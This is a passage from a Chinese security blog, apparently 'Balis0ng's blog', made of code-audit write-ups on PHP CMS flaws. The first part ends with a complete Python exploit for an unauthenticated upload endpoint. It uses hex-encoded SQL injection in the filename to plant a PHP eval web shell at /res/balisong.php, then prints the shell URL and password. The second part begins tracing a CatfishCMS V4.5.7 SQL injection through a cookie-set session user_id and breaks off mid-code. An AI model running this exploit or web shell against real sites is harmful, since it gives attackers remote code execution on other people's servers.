<span class="nv">$this</span><span class="o">-></span><span class="na">model</span><span class="p">(</span><span class="s1">'res'</span><span class="p">)</span><span class="o">-></span><span class="na">save</span><span class="p">(</span><span class="nv">$tmp</span><span class="p">,</span><span class="nv">$id</span><span class="p">);</span>
<span class="c1">//更新附件扩展信息</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">model</span><span class="p">(</span><span class="s1">'res'</span><span class="p">)</span><span class="o">-></span><span class="na">gd_update</span><span class="p">(</span><span class="nv">$id</span><span class="p">);</span>
<span class="nv">$rs </span><span class="o">=</span><span class="nx"> </span><span class="nv">$this</span><span class="o">-></span><span class="na">model</span><span class="p">(</span><span class="s1">'res'</span><span class="p">)</span><span class="o">-></span><span class="na">get_one</span><span class="p">(</span><span class="nv">$id</span><span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">json</span><span class="p">(</span><span class="nv">$rs</span><span class="p">,</span><span class="k">true</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">这里我们输入一个oldid的值,然后从res表中查找出这一行的数据,然后将我们上传的文件mv到$old_rs[‘filename’]。<br /></span>
<span class="md_line md_line_end">mv函数的定义在/framework/libs/file.php中第264行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="k">public</span><span class="nx"> function mv</span><span class="p">(</span><span class="nv">$old</span><span class="p">,</span><span class="nv">$new</span><span class="p">,</span><span class="nv">$recover</span><span class="o">=</span><span class="k">true</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">file_exists</span><span class="p">(</span><span class="nv">$old</span><span class="p">)){</span>
<span class="k">return</span><span class="nx"> false</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$new</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="nx"> </span><span class="o">==</span><span class="nx"> </span><span class="s2">"/"</span><span class="p">){</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">make</span><span class="p">(</span><span class="nv">$new</span><span class="p">,</span><span class="s2">"dir"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">make</span><span class="p">(</span><span class="nv">$new</span><span class="p">,</span><span class="s2">"file"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nb">file_exists</span><span class="p">(</span><span class="nv">$new</span><span class="p">)){</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$recover</span><span class="p">){</span>
<span class="nb">unlink</span><span class="p">(</span><span class="nv">$new</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">return</span><span class="nx"> false</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="nv">$new </span><span class="o">=</span><span class="nx"> </span><span class="nv">$new</span><span class="o">.</span><span class="nb">basename</span><span class="p">(</span><span class="nv">$old</span><span class="p">);</span>
<span class="p">}</span>
<span class="nb">rename</span><span class="p">(</span><span class="nv">$old</span><span class="p">,</span><span class="nv">$new</span><span class="p">);</span>
<span class="k">return</span><span class="nx"> true</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">通过上文说到的,我们可以控制res表中的一行记录的值,那么这个filename也是我们可控的,那么我们如果将filename设置为/res/balisong.php。那么我上传的图片文件就会重新命名成/res/balisong.php。我们就达到了一个getshell的目的。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">由于上传的文件名的特殊性。导致我们不能带有斜杠,那么怎么办呢?我们可以利用十六进制编码来绕过,具体的漏洞利用过程就不细说了,比较复杂,所以直接上exp:</span>
</p>
<div class="codehilite code_lang_python highlight"><pre><span></span><span class="c1">#-*- coding:utf-8 -*-</span>
<span class="n">import</span><span class="err"> </span><span class="n">requests</span>
<span class="n">import</span><span class="err"> </span><span class="n">sys</span>
<span class="n">import</span><span class="err"> </span><span class="n">re</span>
<span class="k">if</span><span class="err"> </span><span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span><span class="err"> </span><span class="o"><</span><span class="err"> </span><span class="mi">2</span><span class="p">:</span>
<span class="err"> </span><span class="k">print</span><span class="err"> </span><span class="s2">u"Usage: exp.py url [PHPSESSION]</span><span class="se">\r\n</span><span class="s2">For example:</span><span class="se">\r\n</span><span class="s2">[0] exp.py http://localhost</span><span class="se">\r\n</span><span class="s2">[1] exp.py http://localhost 6ogmgp727m0ivf6rnteeouuj02"</span>
<span class="err"> </span><span class="nb">exit</span><span class="p">()</span>
<span class="n">baseurl</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">phpses</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="err"> </span><span class="k">if</span><span class="err"> </span><span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span><span class="err"> </span><span class="o">></span><span class="err"> </span><span class="mi">2</span><span class="err"> </span><span class="k">else</span><span class="err"> </span><span class="s1">''</span>
<span class="n">cookies</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="p">{</span><span class="s1">'PHPSESSION'</span><span class="p">:</span><span class="err"> </span><span class="n">phpses</span><span class="p">}</span>
<span class="k">if</span><span class="err"> </span><span class="n">baseurl</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="err"> </span><span class="o">==</span><span class="err"> </span><span class="s1">'/'</span><span class="p">:</span>
<span class="err"> </span><span class="n">baseurl</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="n">baseurl</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">url</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="n">baseurl</span><span class="err"> </span><span class="o">+</span><span class="err"> </span><span class="s1">'/index.php?c=upload&f=save'</span>
<span class="n">files</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="p">[</span>
<span class="err"> </span><span class="p">(</span><span class="s1">'upfile'</span><span class="p">,</span><span class="err"> </span><span class="p">(</span><span class="s2">"1','r7ip15ijku7jeu1s1qqnvo9gj0','30',''),('1',0x7265732f3230313730352f32332f,0x393936396465336566326137643432352e6a7067,'',0x7265732f62616c69736f6e672e706870,'1495536080','2.jpg"</span><span class="p">,</span>
<span class="err"> </span><span class="s1">'<?php @eval($_POST[balisong]);phpinfo();?>'</span><span class="p">,</span><span class="err"> </span><span class="s1">'image/jpg'</span><span class="p">)),</span>
<span class="p">]</span>
<span class="n">files1</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="p">[</span>
<span class="err"> </span><span class="p">(</span><span class="s1">'upfile'</span><span class="p">,</span>
<span class="err"> </span><span class="p">(</span><span class="s1">'1.jpg'</span><span class="p">,</span><span class="err"> </span><span class="s1">'<?php @eval($_POST[balisong]);phpinfo();?>'</span><span class="p">,</span><span class="err"> </span><span class="s1">'image/jpg'</span><span class="p">)),</span>
<span class="p">]</span>
<span class="n">r</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span><span class="err"> </span><span class="n">files</span><span class="o">=</span><span class="n">files</span><span class="p">,</span><span class="err"> </span><span class="n">cookies</span><span class="o">=</span><span class="n">cookies</span><span class="p">)</span>
<span class="n">response</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="n">r</span><span class="o">.</span><span class="n">text</span>
<span class="nb">id</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s1">'"id":"(\d+)"'</span><span class="p">,</span><span class="err"> </span><span class="n">response</span><span class="p">,</span><span class="err"> </span><span class="n">re</span><span class="o">.</span><span class="n">S</span><span class="p">)</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="nb">id</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="nb">int</span><span class="p">(</span><span class="nb">id</span><span class="p">)</span><span class="err"> </span><span class="o">+</span><span class="err"> </span><span class="mi">1</span>
<span class="n">url</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="n">baseurl</span><span class="err"> </span><span class="o">+</span><span class="err"> </span><span class="s1">'/index.php?c=upload&f=replace&oldid=</span><span class="si">%d</span><span class="s1">'</span><span class="err"> </span><span class="o">%</span><span class="err"> </span><span class="p">(</span><span class="nb">id</span><span class="p">)</span>
<span class="n">r</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span><span class="err"> </span><span class="n">files</span><span class="o">=</span><span class="n">files1</span><span class="p">,</span><span class="err"> </span><span class="n">cookies</span><span class="o">=</span><span class="n">cookies</span><span class="p">)</span>
<span class="n">shell</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="n">baseurl</span><span class="err"> </span><span class="o">+</span><span class="err"> </span><span class="s1">'/res/balisong.php'</span>
<span class="n">response</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">shell</span><span class="p">)</span>
<span class="k">if</span><span class="err"> </span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="err"> </span><span class="o">==</span><span class="err"> </span><span class="mi">200</span><span class="p">:</span>
<span class="err"> </span><span class="k">print</span><span class="err"> </span><span class="s2">"congratulation:Your shell:</span><span class="se">\n</span><span class="si">%s</span><span class="se">\n</span><span class="s2">password:balisong"</span><span class="err"> </span><span class="o">%</span><span class="err"> </span><span class="p">(</span><span class="n">shell</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="err"> </span><span class="k">print</span><span class="err"> </span><span class="s2">"oh!Maybe failed.Please check"</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">系统默认是不需要注册登录即可上传文件的。</span>
</p>
<h1 id="toc_2" class="h16">结语</h1>
<p class="md_block">
<span class="md_line md_line_start md_line_end">其实这种情况还是蛮多的,有些系统会将上传前的文件名入库,如果过滤不当,就可以注入了。并且insert,update这种注入危害是可以进一步扩大的。</span>
</p>
catfishcms V4.5.7前台SQL注入
2017-09-29T08:31:14Z
dai-ma-shen-ji/catfishcms-v4.5.7qian-tai-sqlzhu-ru
Balis0ng's blog
<h1 id="toc_0" class="h16">漏洞描述</h1>
<p class="md_block">
<span class="md_line md_line_start">怎么说呢,这个CMS以前挖过一次,刚开始确实写得不咋的,后来貌似重构了一下,安全性上了一个档次。<br /></span>
<span class="md_line">最近看到有人发了这个CMS的漏洞,思路挺不错的,不过文章开头说没有注入,我就试着又审了一次新版。<br /></span>
<span class="md_line md_line_end">虽然直观的漏洞不存在了,但是我们细心并且猥琐一点,就可以挖到一个注入了。</span>
</p>
<h1 id="toc_1" class="h16">漏洞分析</h1>
<p class="md_block">
<span class="md_line md_line_start">大概看了一下,TP5的防御确实比TP3要好一点....主要是把where函数一改写,确实没有那种直观的一发数组就打穿的注入。但是我留意到这个地方:<br /></span>
<span class="md_line md_line_end">/application/user/controller/Common.php中第45行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span> <span class="k">protected</span> <span class="k">function</span> <span class="nf">checkUser</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">Session</span><span class="o">::</span><span class="na">has</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user_id'</span><span class="p">)</span> <span class="o">&&</span> <span class="nx">Cookie</span><span class="o">::</span><span class="na">has</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user_id'</span><span class="p">)</span> <span class="o">&&</span> <span class="nx">Cookie</span><span class="o">::</span><span class="na">has</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user'</span><span class="p">))</span>
<span class="p">{</span>
<span class="nv">$cookie_user_p</span> <span class="o">=</span> <span class="nx">Cache</span><span class="o">::</span><span class="na">get</span><span class="p">(</span><span class="s1">'cookie_user_p'</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nx">Cookie</span><span class="o">::</span><span class="na">has</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user_p'</span><span class="p">)</span> <span class="o">&&</span> <span class="nv">$cookie_user_p</span> <span class="o">!==</span> <span class="k">false</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$user</span> <span class="o">=</span> <span class="nx">Db</span><span class="o">::</span><span class="na">name</span><span class="p">(</span><span class="s1">'users'</span><span class="p">)</span><span class="o">-></span><span class="na">where</span><span class="p">(</span><span class="s1">'user_login'</span><span class="p">,</span> <span class="nx">Cookie</span><span class="o">::</span><span class="na">get</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user'</span><span class="p">))</span><span class="o">-></span><span class="na">field</span><span class="p">(</span><span class="s1">'user_pass,user_type'</span><span class="p">)</span><span class="o">-></span><span class="na">find</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$user</span><span class="p">)</span> <span class="o">&&</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$cookie_user_p</span><span class="o">.</span><span class="nv">$user</span><span class="p">[</span><span class="s1">'user_pass'</span><span class="p">])</span> <span class="o">==</span> <span class="nx">Cookie</span><span class="o">::</span><span class="na">get</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user_p'</span><span class="p">))</span>
<span class="p">{</span>
<span class="nx">Session</span><span class="o">::</span><span class="na">set</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user_id'</span><span class="p">,</span><span class="nx">Cookie</span><span class="o">::</span><span class="na">get</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user_id'</span><span class="p">));</span>
<span class="nx">Session</span><span class="o">::</span><span class="na">set</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user'</span><span class="p">,</span><span class="nx">Cookie</span><span class="o">::</span><span class="na">get</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user'</span><span class="p">));</span>
<span class="nx">Session</span><span class="o">::</span><span class="na">set</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user_type'</span><span class="p">,</span><span class="nv">$user</span><span class="p">[</span><span class="s1">'user_type'</span><span class="p">]);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">Session</span><span class="o">::</span><span class="na">has</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user_id'</span><span class="p">))</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">redirect</span><span class="p">(</span><span class="nx">Url</span><span class="o">::</span><span class="na">build</span><span class="p">(</span><span class="s1">'/login'</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nx">Session</span><span class="o">::</span><span class="na">get</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user_type'</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">redirect</span><span class="p">(</span><span class="nx">Url</span><span class="o">::</span><span class="na">build</span><span class="p">(</span><span class="s1">'/admin'</span><span class="p">));</span>
<span class="p">}</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">assign</span><span class="p">(</span><span class="s1">'login'</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="na">getUser</span><span class="p">());</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">函数的功能就是一个校验用户是否登录。看逻辑,看第一个if。如果我们没有session,那么就从cookie中取值,这里用到了几个cookie,一个是user_id,一个是user,一个是user_p。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后将user带入数据库查询,这个其实就是我们的用户名,将查询出来的密码与$cookie_user_p拼接一下然后md5一下就与我们的COOKIE的user_p进行比较,如果相等的话,就设置一系列session。用户验证是没毛病的,但是这个地方发现有一个东西也就是从COOKIE取得user_id没有参与任何逻辑操作就直接设置到session里面去了。就让我对这个东西产生了注意,等于我们可以控制session中的user_id的值了。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">我们全文查找一下用到这个session的user_id的地方在哪,我找到一处:<br /></span>
<span class="md_line md_line_end">/application/index/controller/Index.php中第548行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span> <span class="k">public</span> <span class="k">function</span> <span class="nf">pinglun</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$beipinglunren</span> <span class="o">=</span> <span class="nx">Db</span><span class="o">::</span><span class="na">name</span><span class="p">(</span><span class="s1">'posts'</span><span class="p">)</span><span class="o">-></span><span class="na">where</span><span class="p">(</span><span class="s1">'id'</span><span class="p">,</span><span class="nx">Request</span><span class="o">::</span><span class="na">instance</span><span class="p">()</span><span class="o">-></span><span class="na">post</span><span class="p">(</span><span class="s1">'id'</span><span class="p">))</span><span class="o">-></span><span class="na">field</span><span class="p">(</span><span class="s1">'post_author'</span><span class="p">)</span><span class="o">-></span><span class="na">find</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$beipinglunren</span><span class="p">[</span><span class="s1">'post_author'</span><span class="p">]</span> <span class="o">!=</span> <span class="nx">Session</span><span class="o">::</span><span class="na">get</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user_id'</span><span class="p">))</span>
<span class="p">{</span>
<span class="nv">$comment</span> <span class="o">=</span> <span class="nx">Db</span><span class="o">::</span><span class="na">name</span><span class="p">(</span><span class="s1">'options'</span><span class="p">)</span><span class="o">-></span><span class="na">where</span><span class="p">(</span><span class="s1">'option_name'</span><span class="p">,</span><span class="s1">'comment'</span><span class="p">)</span><span class="o">-></span><span class="na">field</span><span class="p">(</span><span class="s1">'option_value'</span><span class="p">)</span><span class="o">-></span><span class="na">find</span><span class="p">();</span>
<span class="nv">$plzt</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$comment</span><span class="p">[</span><span class="s1">'option_value'</span><span class="p">]</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$plzt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">//添加评论</span>
<span class="nv">$data</span> <span class="o">=</span> <span class="p">[</span>
<span class="s1">'post_id'</span> <span class="o">=></span> <span class="nx">Request</span><span class="o">::</span><span class="na">instance</span><span class="p">()</span><span class="o">-></span><span class="na">post</span><span class="p">(</span><span class="s1">'id'</span><span class="p">),</span>
<span class="s1">'url'</span> <span class="o">=></span> <span class="s1">'index/Index/article/id/'</span><span class="o">.</span><span class="nx">Request</span><span class="o">::</span><span class="na">instance</span><span class="p">()</span><span class="o">-></span><span class="na">post</span><span class="p">(</span><span class="s1">'id'</span><span class="p">),</span>
<span class="s1">'uid'</span> <span class="o">=></span> <span class="nx">Session</span><span class="o">::</span><span class="na">get</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">session_prefix</span><span class="o">.</span><span class="s1">'user_id'</span><span class="p">),</span>
<span class="s1">'to_uid'</span> <span class="o">=></span> <span class="nv">$beipinglunren</span><span class="p">[</span><span class="s1">'post_author'</span><span class="p">],</span>
<span class="s1">'createtime'</span> <span class="o">=></span> <span class="nb">date</span><span class="p">(</span><span class="s2">"Y-m-d H:i:s"</span><span class="p">),</span>
<span class="s1">'content'</span> <span class="o">=></span> <span class="nv">$this</span><span class="o">-></span><span class="na">filterJs</span><span class="p">(</span><span class="nx">Request</span><span class="o">::</span><span class="na">instance</span><span class="p">()</span><span class="o">-></span><span class="na">post</span><span class="p">(</span><span class="s1">'pinglun'</span><span class="p">)),</span>
<span class="s1">'status'</span> <span class="o">=></span> <span class="nv">$plzt</span>
<span class="p">];</span>
<span class="nx">Db</span><span class="o">::</span><span class="na">name</span><span class="p">(</span><span class="s1">'comments'</span><span class="p">)</span><span class="o">-></span><span class="na">insert</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
<span class="c1">//修改评论信息</span>
<span class="nx">Db</span><span class="o">::</span><span class="na">name</span><span class="p">(</span><span class="s1">'posts'</span><span class="p">)</span>
<span class="o">-></span><span class="na">where</span><span class="p">(</span><span class="s1">'id'</span><span class="p">,</span> <span class="nx">Request</span><span class="o">::</span><span class="na">instance</span><span class="p">()</span><span class="o">-></span><span class="na">post</span><span class="p">(</span><span class="s1">'id'</span><span class="p">))</span>
<span class="o">-></span><span class="na">update</span><span class="p">([</span>
<span class="s1">'post_comment'</span> <span class="o">=></span> <span class="nb">date</span><span class="p">(</span><span class="s2">"Y-m-d H:i:s"</span><span class="p">),</span>
<span class="s1">'comment_count'</span> <span class="o">=></span> <span class="p">[</span><span class="s1">'exp'</span><span class="p">,</span><span class="s1">'comment_count+1'</span><span class="p">]</span>
<span class="p">]);</span>
<span class="nv">$param</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="nx">Hook</span><span class="o">::</span><span class="na">add</span><span class="p">(</span><span class="s1">'comment_post'</span><span class="p">,</span><span class="nv">$this</span><span class="o">-></span><span class="na">plugins</span><span class="p">);</span>
<span class="nx">Hook</span><span class="o">::</span><span class="na">listen</span><span class="p">(</span><span class="s1">'comment_post'</span><span class="p">,</span><span class="nv">$param</span><span class="p">,</span><span class="nv">$this</span><span class="o">-></span><span class="na">ccc</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">这里取到了我们session中的user_id的值然后添加到了$data这个数组中,作为uid的值。<br /></span>
<span class="md_line md_line_end">然后将$data带入到了insert函数中,貌似有戏,就跟进去看看,在/catfish/library/think/db/Builder.php中第597行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span> <span class="k">public</span> <span class="k">function</span> <span class="nf">insert</span><span class="p">(</span><span class="k">array</span> <span class="nv">$data</span><span class="p">,</span> <span class="nv">$options</span> <span class="o">=</span> <span class="p">[],</span> <span class="nv">$replace</span> <span class="o">=</span> <span class="k">false</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// 分析并处理数据</span>
<span class="nv">$data</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">parseData</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="nv">$options</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$data</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$fields</span> <span class="o">=</span> <span class="nb">array_keys</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
<span class="nv">$values</span> <span class="o">=</span> <span class="nb">array_values</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
<span class="nv">$sql</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span>
<span class="p">[</span><span class="s1">'%INSERT%'</span><span class="p">,</span> <span class="s1">'%TABLE%'</span><span class="p">,</span> <span class="s1">'%FIELD%'</span><span class="p">,</span> <span class="s1">'%DATA%'</span><span class="p">,</span> <span class="s1">'%COMMENT%'</span><span class="p">],</span>
<span class="p">[</span>
<span class="nv">$replace</span> <span class="o">?</span> <span class="s1">'REPLACE'</span> <span class="o">:</span> <span class="s1">'INSERT'</span><span class="p">,</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">parseTable</span><span class="p">(</span><span class="nv">$options</span><span class="p">[</span><span class="s1">'table'</span><span class="p">]),</span>
<span class="nb">implode</span><span class="p">(</span><span class="s1">' , '</span><span class="p">,</span> <span class="nv">$fields</span><span class="p">),</span>
<span class="nb">implode</span><span class="p">(</span><span class="s1">' , '</span><span class="p">,</span> <span class="nv">$values</span><span class="p">),</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">parseComment</span><span class="p">(</span><span class="nv">$options</span><span class="p">[</span><span class="s1">'comment'</span><span class="p">]),</span>
<span class="p">],</span> <span class="nv">$this</span><span class="o">-></span><span class="na">insertSql</span><span class="p">);</span>
<span class="k">return</span> <span class="nv">$sql</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后这里调用了一个parseData对$data进行处理:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span> <span class="k">protected</span> <span class="k">function</span> <span class="nf">parseData</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="nv">$options</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$data</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="p">[];</span>
<span class="p">}</span>
<span class="c1">// 获取绑定信息</span>
<span class="nv">$bind</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">query</span><span class="o">-></span><span class="na">getFieldsBind</span><span class="p">(</span><span class="nv">$options</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="s1">'*'</span> <span class="o">==</span> <span class="nv">$options</span><span class="p">[</span><span class="s1">'field'</span><span class="p">])</span> <span class="p">{</span>
<span class="nv">$fields</span> <span class="o">=</span> <span class="nb">array_keys</span><span class="p">(</span><span class="nv">$bind</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nv">$fields</span> <span class="o">=</span> <span class="nv">$options</span><span class="p">[</span><span class="s1">'field'</span><span class="p">];</span>
<span class="p">}</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="p">[];</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$data</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=></span> <span class="nv">$val</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$item</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">parseKey</span><span class="p">(</span><span class="nv">$key</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">in_array</span><span class="p">(</span><span class="nv">$key</span><span class="p">,</span> <span class="nv">$fields</span><span class="p">,</span> <span class="k">true</span><span class="p">))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$options</span><span class="p">[</span><span class="s1">'strict'</span><span class="p">])</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nx">Exception</span><span class="p">(</span><span class="s1">'fields not exists:['</span> <span class="o">.</span> <span class="nv">$key</span> <span class="o">.</span> <span class="s1">']'</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">elseif</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$val</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">&&</span> <span class="s1">'exp'</span> <span class="o">==</span> <span class="nv">$val</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="p">{</span>
<span class="nv">$result</span><span class="p">[</span><span class="nv">$item</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$val</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="p">}</span> <span class="k">elseif</span> <span class="p">(</span><span class="nb">is_null</span><span class="p">(</span><span class="nv">$val</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$result</span><span class="p">[</span><span class="nv">$item</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'NULL'</span><span class="p">;</span>
<span class="p">}</span> <span class="k">elseif</span> <span class="p">(</span><span class="nb">is_scalar</span><span class="p">(</span><span class="nv">$val</span><span class="p">))</span> <span class="p">{</span>
<span class="c1">// 过滤非标量数据</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">query</span><span class="o">-></span><span class="na">isBind</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$val</span><span class="p">,</span> <span class="mi">1</span><span class="p">)))</span> <span class="p">{</span>
<span class="nv">$result</span><span class="p">[</span><span class="nv">$item</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$val</span><span class="p">;</span>
